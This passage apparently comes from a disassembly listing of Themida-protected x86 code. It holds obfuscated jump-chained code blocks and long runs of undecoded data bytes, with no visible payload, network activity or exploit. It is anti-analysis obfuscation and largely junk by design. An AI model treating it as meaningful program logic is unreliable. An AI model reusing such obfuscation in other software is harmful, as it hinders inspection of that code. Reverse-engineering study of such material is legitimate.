		mov	ecx, edx
		pop	edx
		jmp	loc_56ECAB
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 621AE924h, 0E95AFFFFh, 2BE3h, 4C481h, 0CF890000h
		dd 0FF508DE9h, 8BC689FFh, 72E92404h
		db 0E2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56EE7F:				; CODE XREF: Themida_:0056D0EBj
		pop	esi
		jmp	loc_55FECA
; ---------------------------------------------------------------------------


loc_56EE85:				; CODE XREF: Themida_:00569A18j
		neg	ebx
		dec	ebx
		jmp	loc_56B12B
; ---------------------------------------------------------------------------


loc_56EE8D:				; CODE XREF: Themida_:0057088Bj
		not	ecx
		inc	ecx
		inc	ecx
		xor	ecx, 0BEE8CD2Fh
		jmp	loc_56125A
; ---------------------------------------------------------------------------
		dd 0E918F380h, 0FFFF50E0h, 0B252BFB5h, 2EAC01Dh, 0E98EF280h
		dd 0FFFF7A08h, 5102E5C1h, 8853A5B9h, 0AE9577Dh,	66FFFF4Ch
		dd 0E9242C87h, 0FFFF25A5h, 7664DBBAh, 4FBE5662h, 313ACA00h
		dd 0C2815EF2h, 0C03FF990h, 585AD531h, 0A2E9h, 0DDEC0500h
		dd 0C301EE5Ch, 4EC8358h, 0BF243C89h, 3D1B2377h,	0E904EC83h
		dd 0FFFF7816h, 24048B66h, 0B1368h, 0EE92E900h, 2AB9FFFEh
		dd 1A2B7AFh, 0EB8159CBh, 2BD75BE1h, 2FE8BD55h, 1AE9596Dh
		dd 50FFFF2Eh, 0FFB089E9h, 0DDF745FFh, 0FFB65CE9h, 4C483FFh
		dd 31241433h, 0FEE92414h, 89FFFF36h, 4BD55E7h, 1000000h
		dd 0EBE95DEFh
		db 0F7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56EF57:				; CODE XREF: Themida_:0057214Cj
		xor	ebp, 36FF0EF6h
		jmp	loc_55FE0F
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 8A1121C2h, 81EA0134h, 8A1121EAh, 242C8B34h, 2904C483h
		dd 1025E9D6h, 0F889FFFFh, 8958C689h, 52E95EF5h,	0C1FFFF64h
		dd 0DDF703E5h, 0E539E957h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56EF96:				; CODE XREF: Themida_:0055D3DCj
		pop	ecx
		sub	edx, ebx
		pop	ebx
		jmp	loc_56BB59
; ---------------------------------------------------------------------------
		db 0BAh
		dd 1B5103F3h, 0C107EAC1h, 0E2C108E2h, 7EAC103h,	0F09B850h
		dd 850D2EA0h, 354A8E20h, 287C734Fh, 962DDE0Dh, 0AF4A0566h
		dd 0E5E9B486h, 0FFFFFF53h, 685A2434h, 5DFh, 0E9241489h
		dd 0FFFFE110h
; ---------------------------------------------------------------------------


loc_56EFE0:				; CODE XREF: Themida_:00560187j
		mov	edx, 47C86176h
		add	edx, 66294916h
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esi, 607246C0h
		sub	esi, 6C2D6283h
		sub	esi, edi
		add	esi, 6C2D6283h
		sub	esi, 607246C0h
		jmp	loc_571EC6
; ---------------------------------------------------------------------------


loc_56F013:				; CODE XREF: Themida_:0057048Cj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_56DEDA
; ---------------------------------------------------------------------------
		dd 2434FF5Ah, 4C4835Ah,	4BF5753h, 89000000h, 6D6E9FBh
		dd 4B8FFFFh, 29000000h,	24048BC3h, 3304C483h, 1C31241Ch
		dd 241C3324h, 0E924248Bh, 0FFFF672Fh, 19EF815Eh, 0E938BE1Fh
		dd 0FFFF71F1h, 6F34C8FEh, 5DE9C300h, 8900001Eh,	685350E3h
		dd 0D2F214Ch, 3E3C15Bh,	0FEFA14E9h, 0B8F181FFh,	295D6855h
		dd 2434FFC8h, 0FF9ED6E9h, 242489FFh, 4BF57h, 0DAE90000h
		dd 55FFFF78h, 207568h, 24148900h, 0E74DA268h, 0E2C15A39h
		dd 0EECA8108h, 817FFC41h, 0F37321EAh, 5AD589F7h, 0F2E5814Dh
		dd 0C11C593Ah, 0BA5205E5h, 33720955h, 0FF7473E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F0DD:				; CODE XREF: Themida_:0055E2E7j
		add	eax, edi
		jmp	loc_56EE3A
; ---------------------------------------------------------------------------
		dd 2414F752h, 25D2E9h, 4BD00h, 52E90000h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F0F7:				; CODE XREF: Themida_:0055DF4Aj
		push	edi
		jmp	loc_55F130
; ---------------------------------------------------------------------------
		db 5Ch,	57h, 68h
		dd 74F1h, 81242489h, 42404h, 835F0000h,	148904ECh, 4BA24h
		dd 0D7010000h, 8124148Bh, 4C4h,	0EF86800h, 14E90000h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F12F:				; CODE XREF: Themida_:00562BB7j
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	7A99h
		jmp	loc_571FE4
; ---------------------------------------------------------------------------


loc_56F155:				; CODE XREF: Themida_:00563AC8j
		pop	eax
		add	eax, 4
		push	esi
		jmp	loc_56E30D
; ---------------------------------------------------------------------------


loc_56F161:				; CODE XREF: Themida_:0056EC08j
		mov	eax, 9480838h
		sub	edx, 45EA09DDh
		jmp	loc_569BE2
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 2Bh
		dd 81FFFF39h, 7C6B5EF1h, 0BEC18168h, 922DBF5h, 0EFC159CFh
		dd 0F0685503h, 5D639B7Fh, 0FF95C0E9h, 0C8B66FFh, 0EC815024h
		dd 4, 0FEFC34E9h, 4C483FFh, 34FFFE01h, 0C4835F24h, 5A756804h
		dd 34890000h, 0A480E924h, 535AFFFFh, 0FA88C788h, 0EC83585Bh
		dd 240C8904h, 1EE9D588h, 89FFFF09h, 2BDB68E7h, 4890000h
		dd 39B95124h, 51095E2Fh, 592414F7h, 0D0C2F181h,	0EC81F6A1h
		dd 4, 58240C89h, 0FF72E9E9h, 0C3814BFFh, 19440AB1h, 0C096C381h
		dd 0C2813975h, 6F8A0ED7h, 0EA81DA29h, 6F8A0ED7h, 0DAF7585Bh
		dd 439DB951h, 0F1816304h, 68063D9h, 5F2CBB53h, 0C1813311h
		dd 3180E9Ch, 0E981D901h, 3180E9Ch, 81241C8Bh, 4C4h, 0C6F18100h
		dd 81085F7Ch, 0BF76B8E9h, 0B3BD5568h, 0E93B205Dh, 2A8Ch
; ---------------------------------------------------------------------------


loc_56F25C:				; CODE XREF: Themida_:00560146j
		xor	[esp], edx
		jmp	loc_55EF0E
; ---------------------------------------------------------------------------
		dd 4005F781h, 8FE92267h, 29FFFF56h, 9B2BE9C1h, 0E5C1FFFFh
		dd 0FBF5703h, 4F054D5Ah, 0EA3DC781h, 0FD29079Bh, 71BB535Fh
		dd 3158A73Ah, 241C8BDDh, 4C481h, 0BF570000h, 66E45A95h
		dd 8108EFC1h, 5FA782F7h, 0E9FA0147h, 5ABh, 0FA44E95Fh
		dd 0E788FFFFh, 8BE95358h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F2BF:				; CODE XREF: Themida_:00568520j
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	eax, eax
		jz	loc_56CD62
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5627D3
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 79D05EF8h, 0EA81EA01h, 79D05EF8h, 6C8F685Dh,	14890000h
		dd 2474FF24h, 24148B04h, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 8F5C243Ch, 248B2404h, 496BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F31A:				; CODE XREF: Themida_:00570DFAj
		mov	ecx, esp
		jmp	loc_55E566
; ---------------------------------------------------------------------------
		db 0BBh, 0EFh, 6Fh
		dd 0EBC1010Dh, 63E38102h, 0E9520A40h, 3025h, 4C781h, 0BB530000h
		dd 4, 55E9DF01h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F347:				; CODE XREF: Themida_:0055DA94j
		add	edx, 4
		jmp	loc_562757
; ---------------------------------------------------------------------------


loc_56F34F:				; CODE XREF: Themida_:0055E149j
		mov	[esp], ecx
		push	1
		pop	ecx
		jmp	loc_55DF4F
; ---------------------------------------------------------------------------


loc_56F35D:				; CODE XREF: Themida_:0056906Dj
		mov	edx, edi
		jmp	loc_571F99
; ---------------------------------------------------------------------------
		dd 4055Ah, 4870000h, 0A1DCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F372:				; CODE XREF: Themida_:0056DF5Ej
		mov	ecx, [esp]
		jmp	loc_55D262
; ---------------------------------------------------------------------------
		dw 480h
		dd 3C280D24h, 242C8024h, 2404800Dh, 243C8ADDh, 0C004C483h
		dd 545605EFh, 74A2E95Eh, 34FFFFFFh, 2434FF24h, 4C48158h
		dd 68000000h, 70F5h, 0FF1689E9h, 0BAC380FFh, 702168h, 24048900h
		dd 690CF0B0h, 4424E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F3C6:				; CODE XREF: Themida_:0056D686j
		add	esp, 4


loc_56F3C9:				; CODE XREF: Themida_:0056B420j
		push	3A67h
		jmp	loc_56764E
; ---------------------------------------------------------------------------


loc_56F3D3:				; CODE XREF: Themida_:0056A24Ej
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, 0B28B5D2Bh
		add	ebx, edx
		pop	edx
		jmp	loc_566494
; ---------------------------------------------------------------------------


loc_56F3E6:				; CODE XREF: Themida_:00571299j
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 11FE6A00h
		mov	edx, 11FE6A04h
		sub	edx, eax
		push	dword ptr [esp]
		jmp	loc_56A9F2
; ---------------------------------------------------------------------------
		db 89h
		dd 0BF57241Ch, 515E218Ch, 0BE56DFF7h, 425634D8h, 0FF52C3E9h
		dd 80E2B2FFh, 0D00062EAh, 0E952665Ah, 0FFFF5024h
; ---------------------------------------------------------------------------


loc_56F430:				; CODE XREF: Themida_:0055D2C6j
		add	edi, 4
		sub	edi, 4
		jmp	loc_566FE7
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 89500000h, 0BB5356E0h, 36375533h, 2728E381h
		dd 0D3F71214h, 0C3814B4Bh, 6A405476h, 4F4FEB81h, 0DE89582Ch
		dd 5EF0015Bh, 46852h, 0E95A0000h, 0FFFFD7AFh, 81E18951h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 3CBA2414h, 1000000h
		dd 5C5DE9FAh, 166FFFFh,	896658C2h, 9A07E9D3h, 0B7BEFFFFh
		dd 197FAA6h, 38E95EF1h,	80FFFFBCh, 0EB28C2EDh, 28596659h
		dd 0EDC380C3h, 5DB96866h, 24048966h, 0EB80CDB4h, 0B3B652ECh
		dd 84E9DEF6h, 66FFFFBBh, 0E9240489h, 0FFFED9E1h, 807AEE80h
		dd 0D6F6FFC6h, 0FFCF51E9h, 2EDC1FFh, 0ED81DDF7h, 776BD049h
		dd 0F75DEF31h, 75F781DFh, 51223156h, 0FB85053h,	0BB395228h
		dd 9B27919Eh, 0FF5EFAE9h, 89505CFFh, 0D45EE9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F522:				; CODE XREF: Themida_:0056D44Ej
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 10AD654Bh
		sub	[edi+24h], ecx
		jmp	loc_5613F9
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
		dd 2C48124h, 0E9000000h, 0FFFFD75Fh, 0BB5350h, 89000000h
		dd 0E8295BD8h, 58685895h, 8900006Dh, 0BAB9240Ch, 0E925BA07h
		dd 0FFFFEF97h, 5BDA295Dh, 0FFBCEEE9h, 74FF50FFh, 0E4E90424h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F57B:				; CODE XREF: Themida_:0056D763j
		mov	[esp], edx
		push	edi
		push	5C1h
		mov	[esp], ecx
		push	6E2C7E8Fh
		jmp	loc_5695C5
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4EC81h, 1C890000h, 0E9E38924h, 0FFFFC71Bh, 405h, 57535500h
		dd 0FF7FA5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F5B1:				; CODE XREF: Themida_:00567266j
		mov	[esp], edi
		jmp	loc_57179F
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 2Eh
		dd 0E961A519h, 0FFFF89D2h, 17A468h, 4AC9E900h, 487FFFFh
		dd 4895C24h, 1856824h, 63E90000h, 66FFFFF1h, 6824048Bh
		dd 1F68h, 68240C89h, 0C86h, 24048F54h, 4EC81h, 3C890000h
		dd 4BF24h, 9E90000h, 81FFFEEAh,	4C3h, 9F66E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F612:				; CODE XREF: Themida_:0056B4E9j
		add	ebp, 0FFFFFFFFh
		xor	ebp, 39413F0Ah
		neg	ebp
		xor	ebp, 91CEC181h
		xor	ecx, ebp
		pop	ebp
		add	ecx, 0B694E498h
		add	esi, ecx
		jmp	loc_5614B0
; ---------------------------------------------------------------------------
		db 0F7h
		dd 555B2414h, 0FFA587E9h, 48B66FFh, 0D29E924h, 74FFFFFFh
		dd 34FF0424h, 2434FF24h, 0FF2434FFh, 39E92434h,	0BFFFFFC9h
		dd 464E0C26h, 6FAA68h, 241C8900h, 855A6ABBh, 0CA8DE979h
		dd 0E468FFFFh, 8900006Eh, 34E92404h, 5AFFFEDEh,	0BB53D801h
		dd 123D3B4Ah, 711FBA52h, 0D3314C30h, 0EC81525Ah, 4, 0E9241C89h
		dd 0FFFF2D47h, 0FA24E955h, 0E95AFFFEh, 0FFFFF4FDh, 7712B3BFh
		dd 0E0C5E912h, 30B1FFFEh, 0FFA49BE9h, 2474FFFFh, 6BE95A04h
		dd 89FFFFADh, 0B9E92434h, 56FFFF94h, 42474FFh, 0DB98E95Eh
		dd 1C8BFFFEh, 4C48124h,	55000000h, 5368E6BDh, 0E2F58106h
		dd 1065368h, 0EC815DEBh, 4, 0FFDC9EE9h,	7A8968FFh, 4890000h
		dd 0D7BBE924h, 48BFFFEh, 4C48324h, 6659B951h, 47E91BEBh
		dd 89FFFF3Fh, 4C681E6h,	81000000h, 4C6h, 24348700h, 793B2D5Ch
		dd 0F0014C2Dh, 2D793B05h, 2434FF4Ch, 7616E95Eh,	8145FFFFh
		dd 0C46DC0EDh, 0EEDCE975h, 0C200FFFEh, 0FF2D8CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F755:				; CODE XREF: Themida_:00568454j
		mov	edi, eax
		mov	ebx, edi
		pop	edi
		pop	eax
		jmp	loc_56BB29
; ---------------------------------------------------------------------------
		dd 9FE4E950h, 0C381FFFFh, 650B2B1Ch, 0B951CB29h, 650B2B1Ch
		dd 5959CB29h, 623AB951h, 0CB0110EAh, 66C38159h,	0E929F019h
		dd 0FFFFA81Fh
; ---------------------------------------------------------------------------


loc_56F78C:				; CODE XREF: Themida_:0056D4F3j
		and	esi, edx
		jmp	loc_5667F9
; ---------------------------------------------------------------------------
aH__0		db '\h_[',0
		dd 241C8900h, 296B4FBBh, 0EBC1434Ch, 0DBC38103h, 8115AE36h
		dd 570FAEF3h, 0CCBD5538h, 4D50E764h, 5E5C145h, 0D99F581h
		dd 0EB01C477h, 0FF6FB5E9h, 240431FFh, 0E9240433h, 0FFFF6B5Dh
		dd 81E5D14Dh, 518C6EC5h, 8BEE8920h, 0C481242Ch,	4, 0D2F7D687h
		dd 0E6D1D687h, 0FF6111E9h, 0E0EA81FFh, 5F39C92Fh, 0EA81CA01h
		dd 0D0B5236h, 94EA8159h, 0E916786Dh, 0FFFF4BE4h, 8ED8E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F816:				; CODE XREF: Themida_:00562A3Fj
		xor	ecx, 287BFBE8h
		push	ecx
		jmp	loc_5639F4
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 1F9E98DEh, 815BDD31h, 0C70C08E9h, 58CBE978h,	0CF21FFFFh
		dd 0E92434FFh, 0FFFF865Bh, 5C24048Fh, 24048B66h, 0FF3AE3E9h
		dd 47C181FFh, 8B1BE825h, 77E92404h, 5FFFFF0Ah, 59E9EA01h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F863:				; CODE XREF: Themida_:0056664Bj
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 1EFD5E3Eh
		push	eax
		xchg	edx, [esp]
		jmp	loc_5712D1
; ---------------------------------------------------------------------------
		db 52h
		dd 9845DCBAh, 0CFCA8161h, 0E9435D7Ch, 0FFFF01F0h, 8B241433h
		dd 1C892424h, 1706E924h, 81580000h, 0A28AEEEEh,	0E9F721CEh
		dd 0FFFF18AFh, 0FEC1E981h, 0CD31F51Ch, 0FBED8159h, 574F53D4h
		dd 763FB6BFh, 13C7810Eh, 8164041Fh, 5B6464E7h, 8EEF8120h
		dd 1BCA440h, 0EB015FFBh, 3B2EB81h, 2C8B63B6h, 4C48124h
		dd 0E9000000h, 0FFFFA71Fh, 8124048Bh, 4C4h, 0F47AE900h
		dd 0E956FFFFh, 0FFFF17A8h, 0E8C09D34h, 50FE0403h, 5BB69EB4h
		dd 28CCEE80h, 0CCC680E6h, 0FF534FE9h, 0E9E6D1FFh, 0FFFF2A20h
		dd 5166C828h, 0FF19E1E9h, 0DAE681FFh, 81376F1Dh, 6AB8E3C6h
		dd 0EF8DE909h, 0ACBEFFFEh, 3102B71Ah, 0C2815EF2h, 0FD58E548h
		dd 0FF4829E9h, 81E789FFh, 4C7h,	1FE95600h, 0BAFFFFF1h
		dd 185FD67Eh, 0E95BDA29h, 0FFFFE5BAh
; ---------------------------------------------------------------------------


loc_56F96C:				; CODE XREF: Themida_:00566134j
		mov	edi, eax
		pop	eax
		add	ebx, edi
		pop	edi
		jmp	loc_569BD7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89502434h, 405E0h, 4050000h,	87000000h, 0E95C2404h
		dd 0FFFF00D1h, 56D831ADh, 0FF0B4CE9h, 244481FFh, 771DD708h
		dd 245C0163h, 246C8108h, 771DD708h, 241C8B63h, 4C481h
		dd 6C010000h, 81550424h, 4ECh, 24148900h, 57709CBAh, 8BD58911h
		dd 0A9E92414h, 68FFFF2Fh, 0
		dd 5A241429h, 0FCF0C281h, 0D00161E6h, 81DCE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F9EA:				; CODE XREF: Themida_:0056B9D1j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	[esp], eax
		pushf
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
		db 0B9h, 2 dup(0)
		dd 0D9290000h, 8159CB89h, 627A80C3h, 0A7E95257h, 83FFFFD6h
		dd 0D98904C4h, 0FF021DE9h, 0C9C281FFh, 4A11A429h, 7A46EA81h
		dd 0E3E96BBDh, 33000005h, 248B241Ch, 9CC88524h,	0FED480E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FA45:				; CODE XREF: Themida_:00562D4Aj
		mov	esi, 4
		mov	ebx, esi
		pop	esi
		add	edx, 52CD400Bh
		jmp	loc_567F44
; ---------------------------------------------------------------------------
		dd 4E0CED81h, 814D2C03h, 394733EDh, 0E1CD8123h,	812C8611h
		dd 87BBF5F5h, 0CBC1812Fh, 0E93A5329h, 0FFFFCCEDh, 3C8BFB01h
		dd 4C48324h, 861E9h
		db 0
; ---------------------------------------------------------------------------


loc_56FA89:				; CODE XREF: Themida_:0056FD33j
		push	3FF7h
		mov	[esp], edx
		mov	edx, 42493FECh
		inc	edx
		jmp	loc_56D4E8
; ---------------------------------------------------------------------------
		dd 0E9CD0158h, 108Ah, 0F13445BFh, 4815755h, 0D42B9F24h
		dd 0E981597Ah, 7AD42B9Fh, 5EACE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FABE:				; CODE XREF: Themida_:0056DDFBj
		pop	ebp
		xor	ebp, 85A5CEBh
		jmp	loc_569CD6
; ---------------------------------------------------------------------------


loc_56FACA:				; CODE XREF: Themida_:00572513j
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_563C46
; ---------------------------------------------------------------------------
		dw 9BFh
		dd 0F710A502h, 0CF8147DFh, 1A6C29E2h, 0EACAB951h, 0CF3186BFh
		dd 0FF43F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FB01:				; CODE XREF: Themida_:0056014Dj
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5ED75CA2h
		push	ebp
		jmp	loc_560423
; ---------------------------------------------------------------------------


loc_56FB16:				; CODE XREF: Themida_:0056C67Cj
		not	dword ptr [esp]
		jmp	loc_56CCE6
; ---------------------------------------------------------------------------


loc_56FB1E:				; CODE XREF: Themida_:00561CFFj
		push	esi
		pop	ecx
		pop	esi
		inc	ecx
		not	ecx
		sub	ecx, 28110BF6h
		or	ecx, 4AF364E5h
		push	edi
		push	eax
		mov	eax, 4EA4B2Dh
		mov	edi, 0DEE23012h
		add	edi, 186E7783h
		sub	edi, eax
		sub	edi, 186E7783h
		pop	eax
		xor	ecx, edi
		pop	edi
		and	eax, ecx
		jmp	loc_561E0C
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4244481h, 3E2D7D51h,	4244429h, 0FFB544E9h, 42C581FFh
		dd 81766744h, 0CAE632F5h, 0A2BE56C2h, 2974EB7Bh, 0C5815EF5h
		dd 0CAE62A9Eh, 34FFE829h, 7554E924h, 0E8C1FFFFh, 172E3503h
		dd 0C529F34Ch, 5DE98958h, 4E1C141h, 0FDE181h, 0C1817913h
		dd 49613F71h, 3FB5F181h, 10E94971h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FBB7:				; CODE XREF: Themida_:0056A4DFj
		xor	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		and	ebp, 69154F02h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5458158Ah
		and	edx, 5A860F2Bh
		push	ebp
		mov	ebp, 70521EADh
		jmp	loc_56154A
; ---------------------------------------------------------------------------
		db 0B4h
		dd 66E7002Ah, 5BF80058h, 98B25266h, 5A66D000h, 0FEDE6FE9h
		dd 4BA52FFh, 81000000h,	63FC5C7h, 8F5BE913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FC0E:				; CODE XREF: Themida_:005664A4j
		mov	ebx, esi
		pop	esi
		sub	edi, 4B225357h
		jmp	loc_56A5E6
; ---------------------------------------------------------------------------
		dd 5B5BD929h, 2C181h, 0E7E90000h, 33FFFF0Dh, 515C2404h
		dd 770176B9h, 0C1814139h, 41EE0EB4h, 0C8BCA01h,	0E6895624h
		dd 4C681h, 0EC830000h, 241C8904h, 4BBh,	0E0EE8100h, 1678916h
		dd 0E0C681DEh, 5B678916h, 5C243487h, 1915E9h, 0BF575800h
		dd 2, 0FF692BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FC79:				; CODE XREF: Themida_:00570BC1j
		pop	edi
		xor	ecx, edx
		pop	edx
		jmp	loc_55ED66
; ---------------------------------------------------------------------------


loc_56FC82:				; CODE XREF: Themida_:0056551Fj
		add	ebx, 20C774B9h
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_56D68B
; ---------------------------------------------------------------------------


loc_56FC9F:				; CODE XREF: Themida_:005618D1j
		push	9C5h
		mov	[esp], esi
		mov	esi, 0FB6122Fh
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, ebx
		pop	ebx
		mov	ebx, ecx
		pop	ecx
		mov	edx, [esp]
		push	edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 22F41166h
		sub	esi, 22F41162h
		add	edi, esi
		pop	esi
		push	eax
		jmp	loc_5610F3
; ---------------------------------------------------------------------------
		dd 0C2815A54h, 4, 8704EA83h, 895C2414h,	29BD242Ch, 2933B37Dh
		dd 242C8BEBh, 0FF9D7CE9h, 0E78957FFh, 4C781h, 0E9550000h
		dd 0FFFF2F66h, 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFED1ADh
		dd 0E9241431h, 0FFFFFB74h
; ---------------------------------------------------------------------------


loc_56FD20:				; CODE XREF: Themida_:00565E8Aj
		push	38BDh
		mov	[esp], esi
		mov	esi, 7BDE20AFh
		sub	esi, 7B95B74h
		jmp	loc_56FA89
; ---------------------------------------------------------------------------
		dd 4E6C15Fh, 0E681D6F7h, 1079413Ah, 0FFA628E9h,	5B5453FFh
		dd 0E4BB5352h, 810E5863h, 207180F3h, 5BDA8971h,	2AABC281h
		dd 0C2816A76h, 1611C2F5h, 0FFB8CDE9h, 24048FFFh, 4240481h
		dd 0FF000000h, 0A9E92434h, 0C1FFFFCAh, 0C78103EFh, 37000404h
		dd 53E7814Fh, 81228965h, 3344D9F7h, 8CF7813Fh, 0E93DBA05h
		dd 0FFFEEEEAh, 8858E728h, 88535BFDh, 5BDA88EBh,	66D30059h
		dd 8124148Bh, 4ECh, 0C55DE900h,	0D830FFFFh, 0FF4DDDE9h
		dd 241C89FFh, 0FF27DAE9h, 51E689FFh, 1CF9BD55h,	0D5F72851h
		dd 0FFCEC0E9h, 4ADAF7FFh, 8E2C14Ah, 0BACDEA81h,	0C5814C9Eh
		dd 4C33A91h, 0ED81D501h, 4C33A91h, 24B8E9h, 6BBB5300h
		dd 81349126h, 142252C3h, 5BD90103h, 0EAE9E901h,	0BDFFFEFDh
		dd 577A6937h, 0FF1BD7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FE1D:				; CODE XREF: Themida_:0056C07Bj
		push	ebx
		mov	ebx, 0A865182h
		jmp	loc_56AC2A
; ---------------------------------------------------------------------------
		dd 370868h, 24148900h, 42474FFh, 8324148Bh, 85E904C4h
		dd 1000011h, 24048BC2h,	69EF68h, 241C8900h, 0C381E389h
		dd 4, 4C381h, 0DDE90000h, 58000020h, 0FFAE6FE9h, 4C181FFh
		dd 0E9000000h, 0FFFF381Dh, 6A29B4B9h, 0FFCF012Eh, 52592434h
		dd 0C281E289h, 4, 163B68h, 24048900h, 4B8h, 0FAE95300h
		dd 8300001Ah, 0C8904ECh, 9BC9E924h, 483FFFFh, 2FE90424h
		dd 58FFFFF8h, 2474FF51h, 48F5904h, 0A283E924h, 8B66FFFFh
		dd 0E951240Ch, 0FFFFE38Eh, 5C240C87h, 555EF501h, 42474FFh
		dd 24048F5Dh, 4C4835Ch,	0FF2441E9h, 1FF281FFh, 426A7F21h
		dd 7088EA81h, 0D00112B1h, 4EC835Ah, 0FF240489h,	58042474h
		dd 0E924048Fh, 0FFFF5874h, 42Dh, 376AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FF0A:				; CODE XREF: Themida_:0056CDE9j
		xor	ebp, 0FD63CC64h
		xor	eax, ebp
		jmp	loc_56AC77
; ---------------------------------------------------------------------------
		db 81h
		dd 40672AE9h, 0D9015D1Dh, 41F9BB53h, 0EC815EB8h, 4, 0FFAD8EE9h
		dd 0E95350FFh, 0FFFF6C12h, 55BD831h, 7EDC22E7h,	0E958C521h
		dd 0FFFFAC3Eh, 0F6FD8851h, 59EF88D5h, 0FA885251h, 0E95AD588h
		dd 0FFFF0C23h, 4B85E681h, 0EE814D77h, 0E58CFF3Fh, 0DE1E9h
		dd 48F5A00h, 0B9515C24h, 4, 0F7E9CE01h,	66FFFF11h, 0E924248Bh
		dd 0FFFECF3Dh, 2FF6815Dh, 0E9C17AF6h, 0FFFED6B7h, 60B753ACh
		dd 0F6BBB652h, 2F4AE9D6h, 0E95BFFFFh, 0FFFFEF41h, 0E9E933B0h
		dd 50FFFEDBh, 0D953D0B8h, 58C18918h, 8244C29h, 24440159h
		dd 24448104h, 0D953D004h, 49BB5318h, 110AD34h, 5B08245Ch
		dd 0CEEBE958h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FFDA:				; CODE XREF: Themida_:0056EADFj
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_571974
; ---------------------------------------------------------------------------


loc_56FFF2:				; CODE XREF: Themida_:00563C68j
		mov	esi, 52C1699Bh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 24014F7Fh
		push	6642h
		mov	[esp], esi
		push	edi
		mov	edi, 45B772AEh
		mov	esi, edi
		mov	edi, [esp]
		jmp	loc_55F72A
; ---------------------------------------------------------------------------
		dw 0D331h
		dd 0FF0F03E9h, 0C2815BFFh, 4, 0E9241487h, 0FFFF1C17h, 721CEA81h
		dd 0C2814167h, 6B6D3EB8h, 0FF1667E9h, 3E7C1FFh,	6FE9h
		dd 3ABD6600h, 0EA896667h, 6657665Dh, 66EA8DBFh,	0F9E9FA01h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57005F:				; CODE XREF: Themida_:00572104j
		mov	eax, [esp]
